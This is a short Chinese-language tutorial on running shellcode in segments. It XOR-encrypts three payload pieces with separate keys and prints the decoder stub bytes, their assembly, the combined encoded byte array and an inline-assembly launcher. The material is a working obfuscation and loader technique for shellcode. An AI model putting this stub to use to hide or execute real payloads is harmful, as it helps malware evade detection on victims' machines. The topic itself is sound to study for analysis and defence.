分段执行shellcode
一、结构图
二、shellcode加密
1、将shellcode分别加密三次,每一次取出其中一段2、构造代码段
- 其中C1和51,F3和63,E8和78异或之后为90,90作为判断解密是否结束的标志
- mov bh, 0x51的硬编码是 B7 51 ,0x51是key1的值,不同的代码段,是不一样的
- jmp eax的硬编码是FF E0 ,eax是解码代码的首地址
三、生成解码器
char encode[] = “\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90”;
硬编码对应的指令: add ecx, 4 //跳过jmp语句
push ecx //ecx入栈,让ret跳转到encode1处开始执行
xor edi, edi //edi作为偏移量
decode: mov bl, [ecx+edi]
xor bl, bh //xor解密,bh是密钥
mov [ecx+edi], bl
inc edi
cmp bl,0x90 //判断代码段是否全部解密完成
je execute
jmp decode
execute:add ecx,edi //下一段encode2的首地址
ret //ret跳转到之前压入的ecx指向的地址,即跳转到encode1处开始执行
四、拼接encode拼接
解码子 + encode1 + encode2 + encode3char encode[] =
"\x83\xC1\x04\x51\x33\xFF\x8A\x1C\x39\x32\xDF\x88\x1C\x39\x47\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCF\xC3\x90" //解码子
"\xB7\x51\xFF\xE0\xD2\x93\x53\x03\x3B\x51\xC1" //encode1
"\xB7\x63\xFF\xE0\x9C\x16\x97\x9C\x16\x93\x09\x63\xF3" //encode2
"\xB7\x78\xFF\xE0\xF3\x3D\x80\x87\xA8\xBB\xE8"; //encode3
五、调用encode
_asm
{
lea eax, encode //eax是解码地址
mov ecx, eax
add ecx, 0x1A //解码器0x1A个字节,ecx是encode1首地址
push ecx //encode1首地址入栈
call next //跳到下一行,并且pop edx指令的地址入栈
next: pop edx //出栈,pop edx指令的地址出栈给edx
ret //出栈,encode1首地址出栈给eip
}